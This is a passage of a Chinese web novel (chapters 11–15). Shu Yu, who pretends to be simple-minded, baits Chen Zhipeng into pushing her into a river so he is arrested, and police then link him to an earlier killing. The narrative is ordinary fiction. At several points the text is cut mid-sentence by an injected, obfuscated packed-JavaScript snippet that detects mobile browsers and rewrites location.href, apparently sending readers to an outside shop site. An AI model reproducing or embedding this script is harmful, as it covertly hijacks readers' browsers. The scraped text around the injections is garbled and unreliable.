她接着提醒道:“你们也别走太里面,我抓到鱼了就叫你们。” “我回家拿个盆子装鱼。” 舒明淮不疑有他,高高兴兴地应了一声:“好,不走远。”说罢,他朝着厉关岳小跑过去。 舒瑜则转身,快步往回走,刚进院子,就碰上了正从堂屋出来的陈志鹏。 陈志鹏见到她一个人回来,脸上立刻堆起笑,眼睛却往她身后瞟:“舒瑜,回来了?” “明淮呢,咋没跟你一起?” 舒瑜心里嗤笑,面上却做出“偷偷摸摸”的样子,压低声音,带着点得意:“弟去打猪草了,我悄悄回来的,我要去河里抓鱼,不告诉他!” 陈志鹏眼神暗了暗,脸上笑容不变:“抓鱼啊,那河可不浅,你一个人去多危险。” “要不我陪你去,你嫂子也说了,怕你掉下去。” 他这话半真半假,陈丽云的原话其实是:那河可不算浅,她抓得到鱼才怪,淹不死她。 说完她还翻了个白眼,添了句:“算了,有明淮那小子陪着,他会看着他姑的。” 可陈志鹏一听舒明淮不跟着,舒瑜落单,心里那股恶念开始疯长,怎么也压不住了。 他越想越觉得可行,一个傻子,自己跑去河边抓鱼,不小心失足淹死,多么正常,多么顺理成章。 “不要,”舒瑜猛地摇头,往后退了一步,脸上露出警惕,“你个坏人,我才不要你陪!” 陈志鹏就不再阻拦,甚至往旁边让了让,脸上带着一种古怪的微笑,他压低声音:“好好好,我不跟你,那你可要小心点。” 舒瑜“哼”了一声,不再理他,跑到院子里抄起一个旧木盆,抱在怀里,转身就向外走去。 陈志鹏看着她的背影,眼底的笑意慢慢凝固,化为阴沉,他抬手,抹了把脸,下定了决心,也悄无声息地跟了出去,保持着一段不远不近的距离。 舒瑜一路走得不快,她把握着时间,一边慢慢走一边往河边树林眺望,确认看不见舒明淮他们。 舒瑜的心跳开始加快,她知道自己这个计划是存在漏洞的,也许稍有不对,陈志鹏就会退缩。 也不知道明淮有没有真的带厉关岳进了林子,中途有没有出问题? 舒瑜脑中闪过很多念头,最终,她深吸了一口气。 陈志鹏可是一心要她的命,她不出手,等厉关岳一走,她的处境只会更危险。 赌了! 午后的阳光有些刺眼,河面泛着粼粼的波光。 这个时间,村里人大多在家歇息或忙活家务,河边静悄悄的,一个人影也没有。 不远处的树林枝叶茂密,在日光下投下厚重的阴影,看不清里头的情形。 舒瑜走到河边,放下木盆,蹲下身,弯腰看向水面。 河水清澈见底,能看见水草摇曳,偶尔有小鱼灵活地穿梭而过,她伸手拨弄了一下水面,冰凉的触感顺着指尖传来。 12. 第十二章 陈志鹏蹲在一丛灌木后面,面无表情地盯着十米开外舒瑜的背影。 光天化日的,他心里有些发虚,手心黏腻腻地出了汗。 可一想到昨晚翻来覆去的煎熬,脑子里全是舒瑜指着他骂他“坏人”的样子,还有她竟敢让那个来头不小的厉同志抓自己,愤恨便彻底冲昏了头脑。 “区区一个臭丫头。”他嘴角扯出一抹嘲讽的笑,无声地动了动嘴唇,“想抓我?“ “老子先弄死你!” 河边,舒瑜弯着腰,双手撑在膝盖上,头低垂着,似乎被水里游来游去的小鱼完全吸引了注意。 陈志鹏又迅速扫视了一圈四周,远处的村庄静默着,只有河水的流淌的声音。 没人。 他咽了口唾沫,心脏如擂鼓般开始跳动,他压下紧张,一步一步地,缓慢地朝着那个毫无防备的背影挪去。 舒瑜凝视着水中自己的倒影,水面清澈,映出她苍白紧绷的脸。 水中的她抿着唇,眼中再无属于“傻子”的无虑与天真。 蓦地,一条小鱼受了惊,尾巴一甩,快速游开,水面泛开涟漪,打散了舒瑜的倒影。 舒瑜的心跳陡然加快,她屏住呼吸,不自觉地绷紧身体。 几秒钟后,水面平复,倒影重新凝聚,慢慢地映出了两个身影。 来了。 即使心里早有防备,可背上那股猛力袭来之际,舒瑜还是一阵心脏紧缩。 陈志鹏这一推,用了死力,甚至可以说是用力击打。 剧痛在舒瑜后背弥漫开,她控制不住地向前扑去,“噗通”一声,重重砸进河里,冰凉的河水瞬间淹没了她。 嘶,好凉。 舒瑜呛了口水,随即立刻屏住呼吸,她会游泳,心里并不慌,但手脚却在水中胡乱扑腾起来,故意弄出很大动静,嘴里不断发出呼喊:“救、救命!” 陈志鹏推完人,许是料定一个傻子根本不可能会游泳,又生怕多待一秒就被人发现,他看也没敢再多看一眼,转身拔腿就跑。 他的心脏疯狂跳动,一半是惊慌,一半是事成后的扭曲畅快,尤其是听到舒瑜临死前的挣扎身。 可他才跑出不不远,后面传来的动静就如同惊雷劈般在他身上。 “舒瑜!”厉关岳惊声喊道。 这还是她第一次见厉关岳如此失控的样子,泡在水里的舒瑜心虚地挪开眼。 陈志鹏则被吓得肝胆俱裂,脚下发软,他头也不敢回,只死命地往前冲。 回家,他要回家! 不,不能回! 陈志鹏痛苦地想:早知道他就不冲动了! 都怪舒瑜,该死!该死! 厉关岳是被呼救声引过来的,他正和舒明淮在林子里说话,明淮还说要找找有没有果子带回去给他小姑。 正说话间,忽然听到有人在呼救,声音还有些耳熟,他冲出来一看,就见舒瑜在水中无力地挣扎,水花四溅,和上游不远处一正仓皇逃窜的身影。 厉关岳眼底骤然一冷,来不及多想,边跑边解开衣服扣子,一把甩掉外套,扔在河岸。 他跳进河里,朝着舒瑜奋力游去。 “小姑!小姑!”舒明淮晚了几步跑过来,小脸吓得惨白,他看着在水里挣扎的小姑,急得眼泪直掉,“都怪我,都怪我!”都是他没看好小姑。 厉关岳游到舒瑜身边,从侧面托住她的手臂,将她带出水面,稳住她的身体,安抚道:“别怕。” 舒瑜挣扎的动作不大,并不像他以前救起过的溺水的人那样,因恐惧而疯狂地扑腾挣扎。 厉关岳脑子闪过短暂的疑虑,但救人要紧,他一手把住舒瑜的腰,将人扣在怀里,换了个更好游泳的姿势。 腰间的手臂坚实有力,舒瑜靠在他的胳膊上,脸上混杂着伪装出来的害怕。 厉关岳一手牢牢箍着她,另一只手划水,迅速带着她往岸边游去,他的目光却锐利地扫向陈志鹏逃跑的方向,那里,已经空无一人。 厉关岳半拖半抱地把舒瑜带到岸边,一上岸,立刻抓起自己扔在地上的外套,兜头裹在舒瑜身上。 水滴顺着他的头发、下巴往下淌,他抹了把脸:“没事吧?” 舒明淮也扑了过来,声音发颤:“小姑……” 舒瑜在心里道:“好明淮,真听话,果然没走远,真是帮了你姑的大忙。”他们进了林子,但没走远,这才让厉关岳及时赶了过来,还目睹了陈志鹏逃走。 舒瑜放松下来,她下半张脸埋在带着清爽皂角气味的外套里,冰冷的身体回暖了些,她下意识吸了口气,干净清冽的味道扑鼻而来,很好闻。 舒瑜反应过来后有些尴尬,她摇摇头,不忘正事:“有人推我,背上好痛。” 厉关岳扶住她:“先回去。” 舒瑜点点头,厉关岳却动作一顿,垂下眼睛,背对着她蹲了下来:“舒瑜,上来。” 舒瑜愣住,厉关岳自己也是浑身湿透,里面只着一件白衬衫,紧贴着他的身体,勾勒出模糊的肩背线条。 水珠顺着他短短的头发滑落,滴在脖颈上,舒瑜挪开眼,有点不好意思地摸了摸鼻子,从心地趴了上去。 厉关岳稳稳地站起身,舒瑜那点重量对他来说根本不算什么,他侧头对红着眼睛的舒明淮道:“明淮,跟上。”说完,便迈开大步,朝着村子的方向快步走去。 舒瑜趴在他背上,虽然隔着外套,但她大腿弯处传来的那属于厉关岳的温度却格外灼人。 厉关岳走得很快,步子又稳,舒明淮需要小跑着才能跟上。 到了家门口,厉关岳脚步不停,直接背着舒瑜进了院子,他对舒明淮道:“明淮,你去徐书记家,请他过来。” 念头一转,他又道:“麻烦陈婶也过来一趟。”陈婶是徐书记的媳妇。 舒明淮点头,转身就朝村支书家跑去,小身影很快消失在门外。 这时,陈丽云正巧从鸡窝那边捡了鸡蛋回来,看到厉关岳背着舒瑜进门,浑身湿透,眼里闪过看热闹的兴味,嘴一张就想说点什么。 可话还没出口,厉关岳转过头,只是目光平静地扫了她一眼,就让陈丽云心一抖,咽下了所有不中听的话,她讪讪地闭了嘴,拎着鸡蛋篮子快步进了灶房。 随后马上躲回了他们房间,里头舒卫国正呼呼大睡着。 厉关岳没理她,放下背上的人,低头说:“舒瑜,你先去房里把衣服换了。” 舒瑜点点头,抱着身上那件宽大的外套,挪回她和明淮住的小偏屋,回身关门时,她回头看了一眼。 厉关岳就站在院子里,背对着她,浑身湿透,水迹在他脚下洇开。 舒瑜抿了抿唇,心里涌上愧疚,厉关岳真的对他们很好。 舒瑜不会为自己的选择找借口,她为了自己,为了明淮,就是利用了厉关岳,给人家带来了麻烦。 可她不后悔,她想活着,仅此而已。 “哪有人不为己的?” 舒瑜轻轻关上门,靠在门板上,长长地舒了口气,暂时放下了复杂的心绪。 无论如何,这粗糙的计划算是成了。 不管怎样,陈志鹏必需为他做过的事付出代价,给原主一个交代,也给舒父一个交代。 …… 没过多久,舒明淮就领着徐书记和他媳妇陈兰花急匆匆地回来了。 徐书记在路上已经从舒明淮的讲述里大致明白了事情经过。 一进院门,他看见浑身湿透、面色沉静的厉关岳,也并不惊讶,只是眉头拧得死紧,沉重地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她扶着舒瑜走出房间,对着院子里的徐书记和厉关岳,语气带着明显的怒意:“他爹,厉同志,那人下手忒毒了,舒丫头背上都黑了一大块。” “这哪是推一把,这是奔着要人命去的!” 徐书记和厉关岳的目光都落在舒瑜苍白的脸上。 徐书记的脸色彻底沉了下来。 他们大队这是怎么了? 半年前许家的大山在林子里没了,舒家丫头不明不白傻了,这才多久,舒丫头又差点被人害得淹死在河里。 一股寒意和怒火窜上来,徐书记不再犹豫,对厉关岳道:“厉同志,你说得对,这事儿不能算了,必须报警!” “我现在就去公社打电话!”说着,他当即扭头出门。 厉关岳点了点头,没再多说,只是目光再次扫过舒瑜低垂着头的侧脸,眸色深了深。 真是胡闹。 他叹息:“陈婶,得再麻烦你给舒瑜擦药了。” 陈兰花摆摆手:“嗐,这有啥麻烦的。” “丫头,等婶子回家拿药,婶子家有药油,就治这伤的。” 舒瑜点头,她背上真痛得受不了了。 十来分钟后,舒瑜的房间传出了一声声惨叫。 “嗷嗷嗷!”舒瑜趴在床上,陈婶子站在床边,给舒瑜抹着药。 “救命啊!”这声音听着竟然比她在河里叫得还要真情实感。 舒明淮吓了一跳,蹲在厉关岳脚边注视着房门的他跳起来,下意识上前两步,却被厉关岳挡住。 厉关岳偷偷勾起唇角:“没事的,你小姑擦药呢。” “这淤伤要揉开才好得快。”厉关岳与陈婶子的说话声重合。 舒明淮懵懵地点头,而舒瑜,还在嗷嗷叫着。 13. 第十三章 没多少功夫,徐书记回来了,身后跟着一个中年男人,他穿着半旧公安制服、歪歪扭扭戴着帽子,是公社的公安特派员张勇。 张勇一进院子,目光先在院子里扫了一圈,最后落在被陈兰花扶着的舒瑜身上。 他清了清嗓子,摆出公事公办的姿态:“事情老徐路上跟我大概说了。” “我看这位女同志现在也没啥大事嘛,可能就是受了点惊吓。”他走近两步,上下打量了一番舒瑜,语气是掩不住的烦躁,“再说了,陈志鹏那人我认识,平时挺老实本分的,说不定就是不小心碰了一下,这女同志自己没站稳掉下去的也难说。” “她这情况……”他指了指自己的脑袋,意有所指,“她说的话,当不得真嘛,得讲证据。” 舒瑜沉下脸,她急着在厉关岳离开前解决陈志鹏,防得就是这个。 徐书记站在一旁没吭声,脸色也很难看。 他本来是想直接往县里的派出所打电话的,可这张勇立马就凑了上来,非要问清楚他这电话打去哪里,他抹不开面子,只简单说了事,却没提厉关岳的身份。 徐书记心里清楚,这张勇在公社就是个混日子的,这涉及人命的事,哪能交给他啊? 可张勇非说自己可是上面派下来的,这事怎么能越过他呢,这不是不把他放在眼里吗? 徐书记没办法,张勇到底是县里公安派来的人。 厉关岳站在旁边,身上的湿衣服已经半干,神色晦暗不明。 直到张勇这番话说完,他才微微抬了抬眼,扫了眼张勇那张敷衍轻慢的脸。 他嘴角微扬,笑意却不及眼底:“原来你们公安办事,是这样办的。” “解决受害者,确实要简单得多。” 无视张勇铁青的脸色,厉关岳话锋陡然一转,审视道:“我从没对人提过凶手的名字,张同志,你是怎么知道,推人的人是陈志鹏?” 张勇瞳孔骤然收缩,他张了张嘴,脸色由红转白,额角冒出冷汗。 他刚才急于替陈志鹏开脱,顺口就带出了名字,徐书记确实只和他说了“有人推”,根本没说这人是谁。 徐书记也猛地反应过来,看向张勇的眼神里充满了惊怒和了然。 他只知道这张勇平日里就混混日子,没啥真本事,却不想这人竟能干出这种丧良心的事,说他没收陈志鹏的好处,谁信呐! 张勇脸上青白交错,他强自镇定下来,色厉内荏道:“你、你管我怎么知道的?” “你谁啊你?公安办案,轮得到你说话?” 厉关岳没理会他虚张声势的叫嚷,仿佛眼前之人就是个跳梁小丑。 他侧过身,将舒瑜挡在身后,隔绝了张勇那惊慌又恼怒的视线。 舒瑜缩在他身后,看着张勇那副丑恶嘴脸,心里不免庆幸,还好她背靠大佬,省了不少麻烦。 厉关岳:“徐书记,我带舒瑜去县里,她后背的伤需要去医院看看,这件事,也必须去公安局正式报案。”他看了一眼旁边焦急望着他们的舒明淮,又道,“还得劳烦陈婶子,帮忙照看一下明淮。” 张勇被晾在了一边,他站在原地,走也不是,留也不是,脸上一阵红一阵白的,难看到了极点。 这陈志鹏可私下给了他不少钱,可事却没办成,这可咋办啊? 也没人跟他说这舒家的傻子背后有人呐,他本来还觉得一个没爹没妈的傻子,这事随便搞搞就过去了,却没想到…… 徐书记早就憋了一肚子火,因着张勇,他又一次在厉关岳面前丢了大脸。 他闻言立刻点头:“好,厉同志,辛苦你了,我让老孙开拖拉机送你们过去!” “哎呀,拖拉机多慢呐!”陈兰花听着张勇的话也气得不行,她直接“贡献”出了她那嫁去城里的女儿专门留给她的自行车,“你们直接骑婶子的自行车去。” 徐书记一听这话可觉得不得了了,稀罕地看了一眼陈兰花,她竟然借出了她那宝贝自行车,平时连他要骑都得和她申请,保证小心骑车才被允许呢! 厉关岳:“多谢婶子了。” 说罢,他定定地看向舒瑜,说道:“我们走吧。” “不得了,不得了!”徐书记嘀咕。 陈兰花白了他一眼:“小厉人看着就靠谱,你比得上吗!” …… 厉关岳长腿一跨,稳稳当当坐在自行车座上,他单脚支地,侧过头,看向还站在原地的舒瑜,意思很明显。 舒瑜连忙上前,抬起一条腿就要从后面跨上去。 “哎呦我的傻丫头!”陈兰花眼疾手快拉住她,又好气又好笑,“哪能这么坐,硌屁股着呢!” “侧着坐,两条腿放一边,稳当!”她边说边比划,恨不得亲自示范。 舒瑜脸一热:“噢噢,好。”她有些不好意思地笑笑,赶紧调整姿势,小心翼翼地侧身坐了上去,两只手一时不知道该往哪儿放。 厉关岳等她坐稳,头也没回,只提醒了句:“坐好了。” 话音落下,自行车便流畅地滑了出去。 舒瑜身体不自觉地绷紧了。 眼前是厉关岳被半干衬衫勾勒出的紧实腰背,随着蹬车动作微微起伏着,距离很近,她甚至能闻到一点和那件外套上如出一辙的味道。 她手指动了动,没好意思真去抓他的衣服,只悄悄伸出手,牢牢抓住了自行车坐垫下的铁架子边缘。 乡间土路不平,自行车偶尔粘过小石子,颠簸一下。 舒瑜不敢放松,生怕被癫下去,前面忽然传来厉关岳的声音,听不出什么情绪,随着风飘进她耳朵里:“怎么不抓着我,不怕摔下去?” 舒瑜一愣,讪讪地笑了笑,没吭声。 她忽然想起书里对厉关岳的描述,什么和家人不亲近,不近女色,孤寡一生,事业狂……心里忍不住嘀咕他:说得轻巧,你一个黄花大闺男,懂不懂保持距离? 厉关岳闷声笑了几下,舒瑜咬咬牙,心一横,两只手往前一伸,牢牢地揪住了厉关岳腰侧的衣服。 “抓住啦!”舒瑜脆声道,眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“咱兄弟之间还说这个?”许志刚摆摆手,叹了口气,笑容淡去,压低了些声音,“唉,我是真没想到,卫华家里竟然成了这样。” “他妹子这事,我亲自盯着,你放心。” 许志刚原是他们部队的,能力不错,做上了营长,比舒卫华、厉关岳年长不少,后来因伤转业到了地方公安,凭着能力和资历,这几年升到了副局长。 厉关岳上午见的,也就是许志刚。 王晓蕾见状,走上前,对着许志刚汇报:“许副局,已经初步检查过了,这位舒瑜同志后背左侧肩胛下方,有大面积严重淤伤,呈青黑色,符合遭受猛烈撞击或推搡的特征。” 许志刚听完,脸色沉了下来,低低骂了一句:“老张,你立刻带两个人,把那个陈志鹏给我带回来。” “还有,再叫人去问问他们公社那个张勇,今天到底怎么回事!” 张铁军点了两个人,匆匆出去了。 “老厉,舒瑜同志,你们先在这儿坐一会儿,喝口水,等把人带回来,咱们再做详细笔录,这案子,我们一定严肃处理。” 14. 第十四章 他们没在派出所干等,厉关岳带着舒瑜去了县医院。 医生检查了舒瑜后背的伤,确认是外力造成的严重软组织挫伤,开了些外敷的药。 舒瑜听着医生的嘱咐,乖乖点头,她想到陈志鹏应该很快就能被抓到,心情都好了几分。 厉关岳帮舒瑜取了药,他像是忽然想起什么似的,侧过头,看着身旁脚步轻快的舒瑜,语气里似乎还带着淡淡的笑意:“舒瑜,来都来了,要不要再让医生看看你的脑袋?” 舒瑜脚步猛地一顿,汗毛竖起,心跳都漏了一拍,脸上却立刻摆出茫然懵懂的样子,像是没听懂,她望望东,看看西,就是不接话,也不理厉关岳。 厉关岳也不急,又唤了一声:“舒瑜?” 可恶,什么叫“来都来了”? 舒瑜心里一恼,冷不丁地迈开腿就跑。 不听,不听,她不听。 厉关岳看着她闷头猛冲,速度却不快的背影,眉心一动,掩去眼底的探究和戏谑,迈开长腿,不紧不慢地跟了上去,轻轻松松就追上了她。 回到派出所,许志刚正在办公室里,脸色有些不好看,见到他们回来,他起身沉声道:“老厉,刚接到电话,说是去带陈志鹏的人扑了个空。” “陈志鹏家里人说他下午回去了一趟,换了身衣服,拿了个包袱,急匆匆就出门了,再没回去,老张他们在村里问了,有人看见他往县城方向来了。” 舒瑜心里咯噔一下。 许志刚:“别急,我已经安排人在进县城的几条路上排查了,他跑不远。” 厉关岳眉头蹙起,思忖片刻,问道:“火车站和汽车站,派人去了吗?” 许志刚猛地一拍脑袋:“哎!我这就让人去!”他立刻转身朝外面喊人。 厉关岳似是看出舒瑜的担忧:“别担心,他跑不了。” 舒瑜抬起头,对上厉关岳的眼睛,朝他露出一个带着依赖和信任的笑容。 她不担心,眼前的人可是厉关岳啊。 呜呜,大佬,就靠你们了,她已经尽力了。 厉关岳迎着舒瑜的笑脸,微微一愣,眸色变深,嘴角的笑容真切了几分。 不一会儿,许志刚安排好人手回来,脸色不见放松,他看了一眼安静坐在长椅上的舒瑜,问厉关岳:“老厉,你和卫华家里熟,知不知道这个陈志鹏,为啥非要对她下手,这事总得有个由头吧?” 厉关岳回想了一下这两天了解的情况,言简意赅:“前阵子,陈志鹏向舒瑜提过亲,舒瑜不愿意。” “就为这?”许志诧异,华丽是毫不掩饰的鄙夷,“娶不到人家姑娘,就想要人命?” “这什么混账东西!” 坐在旁边的舒瑜一直竖着耳朵听,心里飞快盘算着,觉得这是个道出实情的好机会。 她猛地抬起头,大声控诉:“他坏,他用铲子打小鱼的头!” 许志刚惊愕地看向舒瑜,又猛地转向厉关岳,眼神里充满了询问和凝重。 厉关岳的眼神骤然深了下去。 显然,他们都没把舒瑜的话当做“傻言疯语”。 厉关岳更是想起昨天舒瑜见到陈志鹏时那些没头没尾的话,他和许志刚低语几句。 许志刚重重地点了下头:“我明白了,我去查查记录。” 舒瑜坐在不远处的长椅上,虽然听不清他们具体说什么,但能看出他们都很重视她的话。 她悄悄松了口气。 真给力啊。 她看着厉关岳走过来的高大身影,心道。 厉关岳不知道舒瑜仰着脑袋在想些什么,只觉得她看自己的眼睛好像更亮了些。 厉关岳说:“我去打个电话,你……” 他话语一顿,还是叮嘱道:“你别乱跑。” 舒瑜眨眨眼:“嗯呢。”看着倒是乖巧。 不知等了多久,派出所门口传来一阵嘈杂和脚步声,两个公安同志一左一右,扭着一个人的胳膊走了进来。 被扭着的男人垂着头,头发凌乱,正是陈志鹏。 “嘿,咱在火车站逮到的,真能跑啊这家伙!” 许志刚挥挥手:“带里面去。” 陈志鹏被押着往里走,一抬眼,正对上从许志刚办公室出来的舒瑜,以及站在她旁边神色平静的厉关岳。 陈志鹏脸上的肌肉猛地抽搐起来,眼睛里的红血丝几乎要爬出来,他挣扎着就要往前扑,声音嘶哑地吼叫:“放开我!你们凭什么抓我?” “是那个傻子她自己掉下去的!” 许志刚和厉关岳交换了一个眼神,厉关岳朝他点了下头,许志刚会意,示意手下把人带进审讯室,自己也跟了进去。 审讯室里,陈志鹏被按在椅子上,他勉强恢复了些理智,只是胸膛还在剧烈起伏。 许志刚在他对面坐下,翻开一个本子,声音没什么起伏:“陈志鹏,今天下午,是你把舒瑜同志推下水的,对吗?” 陈志鹏梗着脖子,眼神躲闪:“我、我就是气不过,谁让她不识抬举的,我就碰了她一下,她自己没站稳掉下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166305|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去的。” “警察同志,我没真想害她。” “气不过?”许志刚抬眼看他,不置可否,话锋却陡然一转,“那半年前,也就是1971年10月17号晚上,你在什么地方?” “你和许大山是什么关系?” 陈志鹏猝不及防,瞳孔猛地一缩。 一个多钟头后,许志刚回到办公室,脸色有些疲惫,他扯了条凳子在厉关岳对面坐下,端起搪瓷缸子灌了一大口水,才重重叹了口气。 “问出来了,这陈志鹏可真不是个简单角色。” 厉关岳抬眼看他,等着下文。 许志刚抹了把嘴,接着道:“这小子,嘴硬得很,我连审带诈,费了不少功夫,才撬开一个口子。”他摇了摇头,“你猜得不错,他确实和许大山那案子脱不了干系。” 厉关岳脸上没什么意外的表情,他方才特意出去给徐书记打了个电话,仔细询问了舒瑜去年出事前后的情况,徐书记提到了同一地点发现的许大山尸体。 他们报案后,警方来查过,可当时现场混乱,线索很少,公安查了一阵没结果,舒瑜和许大山这两件事都没头没尾,最后只能搁置。 倒是那个知青宋宇,很快交代了,他就是想祭拜去世的母亲,又不敢白天公然搞“封建迷信”,这才私下央求好心的舒瑜晚上给他送点香火蜡烛去树林,根本没想到会出这种事。 警方查了,排除了宋宇的嫌疑,也就没下文了。 许志刚方才也看了所里的案件记录,确有关于此案的报告。 “根据陈志鹏交代,他和许大山合伙出钱在周边村子收鸡和鸭,再拿到黑市上卖,可后来许大山他娘要给他娶媳妇,许大山就不想干了,要和陈志鹏分钱散伙,还要分走大半的钱娶媳妇。” “这陈志鹏一冲动,就把许大山给……” 许志刚摇摇头:“他原本是想把许大山埋了的,结果当晚刚好被舒同志撞上了。” 舒瑜低着头,在一边安静听着,算是彻底搞清楚了原主出事的前因后果,她身体一轻,好似扣在身体上的枷锁被彻底打碎。 许志刚转向舒瑜,正色道:“舒同志,你放心,我们一定给你们受害者一个交代。”许志刚态度很端正认真,没有因为舒瑜傻了而敷衍她。 厉关岳起身:“走吧,我送你回去。” 舒瑜跟着站起来,却不料脑袋一阵剧痛,她眼前顿时天旋地转,失去意识前,只听到有人喊了她一声,她的身体被一双温热的手掌接住。 “舒瑜!” 15. 第十五章 厉关岳见舒瑜突然晕倒,瞳孔骤然一缩,飞快伸手,及时接住了软倒的舒瑜。 “舒瑜!” 许志刚也吓了一跳,连忙上前:“怎么了这是?” “快,送医院,我们所里有车,停在后面院子里。” 厉关岳没有半分犹豫,打横抱起舒瑜,她的头无力地靠在他颈侧,急促的呼吸昭示着她的痛苦。 他收紧了手臂,脚步迈得飞快,略显失控,许志刚跑在前面,大声招呼司机。 车子很快发动。 厉关岳抱着舒瑜坐进后座,让她靠在自己怀里,车子飞快使出派出所,奔向医院。 舒瑜的身体止不住地发抖,眉头紧皱着,额边渗出冷汗,仿佛正承受着巨大的痛苦。 她嘴唇翕动,似乎在说着什么,厉关岳下意识侧头凑近她仔细去听,忽然,一滴泪水从她紧闭的眼角滑落,无声地滴在厉关岳扶着她的手腕上,眼泪只是温热,却烫得他手臂瞬间绷紧。 发热又发麻。 厉关岳注视着舒瑜毫无血色面庞和脸侧那抹泪痕,抿紧了唇。 不知怎的,他垂眼凝视她,片刻后,才移开视线,面色沉静地看向车窗外。 …… 舒瑜的意识陷入黑暗,无数破碎的画面和声音在她脑海里翻涌着。 她倒在树林里,被黑暗吞噬。 渐渐地,她的灵魂飘了起来,跟着她的身体来到了医院,看着她爹伏在病床边,哀切地唤着她的小名。 小鱼,小鱼,一声又一声。 她的身体醒了,眼睛睁着却无神,她爹眼里的光,也跟着熄灭了,不过短短几天,白发丛生。 爹带着小鱼回了家,挺了一辈子的腰却弯了。 最后一个场景,是家里那间昏暗的屋里。 傻了的她,呆呆地坐在床边的小板凳上,眼睛无神地望着地面。 床上,舒父艰难地喘息着,他那双浑浊的眼睛,长久地凝视着自己那痴傻了的女儿,里面翻涌着痛苦与绝望。 最后,他用尽力气,慢慢地撑起半边身体,打开床头柜上那罐麦乳精,抖着手,舀了两勺放进碗里,又兑上热水。 然后,他停顿了许久,枯瘦的手伸向床底,摸出一个小瓶子,他拔开塞子,抖着手往那碗麦乳精里,倒了一点液体进去。 眼泪从他浑浊的眼睛里滑落。 他本来想的是麻烦他的好兄弟老徐多关照一下女儿,他给舒瑜留了钱,就放在老徐哪,只要舒瑜好好的,就每个月给她哥两块钱。 可再多的钱,也有用完的时候啊! 他看着无知无觉的女儿,声音嘶哑:“小鱼啊,爹对不起你……” “爹没办法了,你大哥二哥他们不会管你的……” “这年头,太难了。” 父亲活了一辈子,见过太多孤苦无依的可怜人,也见过傻子被欺辱、被遗弃的惨状。 他家老三没了,老大老二又都是靠不住的,他一旦走了,留下这个傻女儿,人又漂亮,他的乖女会落得什么下场,他想都不敢想。 “爹要不行了,爹带你一起走……一起走,就不苦了。” 他端起那碗加了料的麦乳精,手抖得几乎端不稳,朝着女儿嘴边送去,老泪纵横。 可在那碗沿即将碰到舒瑜嘴唇的瞬间,他的手陡然一松。 “啪!” 碗摔在地上,四分五裂,混浊的液体泼洒了一地。 舒瑜还是那副呆呆的样子,似乎对眼前的一切毫无所觉。 她爹看着碎掉的碗,如同被抽走了最后一丝力气般,整个人瘫软下去。 他不敢再看女儿,只是望着黑黢黢的房梁,胸膛的起伏越来越微弱,气息一点一点散去。 他的双睛,始终没有闭上。 爹走了,舒瑜的身体无动于衷,可她的灵魂却在嚎啕大哭。 慢慢地,她的灵魂往上飘,一直飘到了遥远的未来。 …… “爹、爹……”舒瑜呢喃着,下一秒,她猛地睁开眼,鼻尖是医院特有的味道。 舒瑜眨眨眼,泪痕干在眼角,绷得皮肤发紧,有些难受。 原来那就是她的爹啊。 舒瑜用力闭了闭眼,压下心底的酸胀,振作起精神,她要好好活着,才对得起他。 深吸了一口气,舒瑜慢慢侧过头。 厉关岳靠坐在窗边,他闭着眼,似在休息养神,阳光模糊了他半张脸,她能看清他完美的脸部轮廓。 舒瑜的视线顺着他流畅优越的下颌线,一直到他利落修长的脖颈,最后停留在那明显的喉结上。 她有些不自在地将视线上移,认真地凝视着他的脸,在心里郑重道:“谢谢你。” “醒了?”厉关岳感受到舒瑜的视线,慢慢睁开眼,“还难受吗?” 舒瑜摇了摇头,她看着厉关岳,露出一个感激的笑:“谢谢厉叔叔帮我抓坏人。” 事情到了这一步,陈志鹏落网,一切都真相大白。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166306|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 接下来,就等厉关岳收养明淮了。 稳住,舒瑜,演好最后一出戏。 厉关岳看着她脸上那抹干净明亮的笑容,轻轻勾起唇角,前倾身体:“还叫我厉叔叔?” 闻言,舒瑜心里一咯噔,脸上的笑容也凝固了一瞬,她僵硬地眨眨眼,努力维持着茫然不解的表情,仿佛没听懂他为什么这么问。 厉关岳见此,身体向后靠回椅背,双臂抱在胸前,好整以暇地看着她,被他那双深邃的眼睛一直注视着,舒瑜的表情越来越僵硬。 他嘴角噙着似笑非笑的弧度,目光对上她骤然睁大的眼睛,语气听着倒是温和依旧:“还装呢?” “小、骗、子。” 他看出来了! 舒瑜的脸颊瞬间涨得通红,一直蔓延到耳根,她张了张嘴,想解释,却磕磕巴巴地半天没说出一句话,只能用她那双因为惊慌而瞪得格外圆溜的眼睛,看着厉关岳。 厉关岳也不说话,就看她会有什么反应。 